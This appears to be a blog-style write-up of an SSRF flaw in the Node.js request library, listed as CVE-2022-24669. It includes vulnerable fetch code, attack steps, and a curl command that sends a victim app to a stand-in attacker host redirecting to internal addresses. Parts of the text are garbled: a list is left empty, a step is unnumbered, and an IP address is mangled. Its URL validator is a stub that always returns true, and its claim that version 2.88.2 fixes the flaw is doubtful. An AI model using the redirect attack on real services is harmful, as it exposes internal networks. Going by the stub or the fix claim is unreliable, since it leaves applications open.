CVE-2022-24669 is a vulnerability in the request library for JavaScript/Node.js. This flaw allows remote attackers to trick the system into exposing sensitive information about the deployment environment. While the vulnerability itself doesn’t directly allow for full compromise, exploiting it can give attackers crucial insights into your infrastructure, which can then be used to probe—with added precision—your internal network services.
Let’s break down what this means, how an attacker could use it, and why it matters for your web application’s security.
Severity: Medium (CVSS: 5.3)
- Official Advisory: NVD Entry
What’s the Vulnerability?
The vulnerability occurs due to a lack of proper validation and sanitization in the way the request library handles HTTP redirects. If an attacker can control the redirect target, they may force the affected application to send sensitive internal data to an external domain over HTTP.
Example Attack Scenario
Suppose you have a Node.js app that fetches URLs on behalf of users using request. A user provides a harmless-looking external link, but it actually redirects to an internal asset, like http://internal-api.company.local/secret.
When your server follows that redirect, information about the internal server (like response headers, content, software versions, even internal network topology) may be returned to the attacker.
In short: An outsider could use this to scan your internal web servers for weaknesses, even when they should be unreachable from the public internet.
Here's a basic example of vulnerable code
const request = require('request'); // vulnerable library!
function fetchUrl(userSuppliedUrl, callback) {
// Follows redirects!
request(userSuppliedUrl, function (error, response, body) {
if (!error && response.statusCode == 200) {
callback(body);
} else {
callback('Failed to fetch URL');
}
});
}
The app follows *all* redirects—even to private resources.
- Attacker submits a URL like http://malicious.com/redirect?to=http://internal-server/private-api.
Why This Matters: Internal Service Probing
The real risk comes from chaining this attack with others. By learning about internal endpoints, attackers may:
Exploit Details: How an Attacker Exploits This
1. Identify a Service: Find a web app that uses the vulnerable request library and lets users fetch arbitrary content.
2. Set Up a Redirect: Host a link like http://evil.com/redirect, which sends a 302 HTTP redirect to http://10...10/secret-info.
Submit to Victim App: Have the vulnerable app fetch the attacker's link.
4. Internal Data Leaked: The app's backend follows the redirect to the internal service, then returns headers, content, or error messages back to the attacker.
Here’s a curl command to simulate this behavior
curl "http://victim-app.com/fetch?url=http://evil.com/redirect"
evil.com/redirect returns
HTTP/1.1 302 Found
Location: http://10...10/secret-service
The backend, trusting all redirects, goes to 10...10, exposing whatever info it returns.
Fixes and Mitigations
Upgrade!
The vulnerability is fixed in request@2.88.2. If upgrading is impossible, set followRedirect: false or better yet, validate URLs before fetching:
// Only allow certain domains/IP ranges
function isSafeUrl(url) {
// Check if URL is external, not localhost or internal net
// e.g., use url.parse, a blocklist, or allowlist approach
return true; // implement your checks here
}
Additional Reading:
- GitHub Security Advisory
- OWASP on SSRF
Conclusion
CVE-2022-24669 may not seem critical at a glance, but in the hands of a clever attacker, it’s a gateway to your internal world. If you fetch URLs provided by users, never trust redirects, always validate input, and patch your libraries.
References
- NVD: CVE-2022-24669
- GitHub Security Advisory for request
- Medium article: How SSRF Leads to Internal Network Reconnaissance
- OWASP SSRF Overview
Timeline
Published on: 10/27/2022 17:15:00 UTC
Last modified on: 10/31/2022 14:12:00 UTC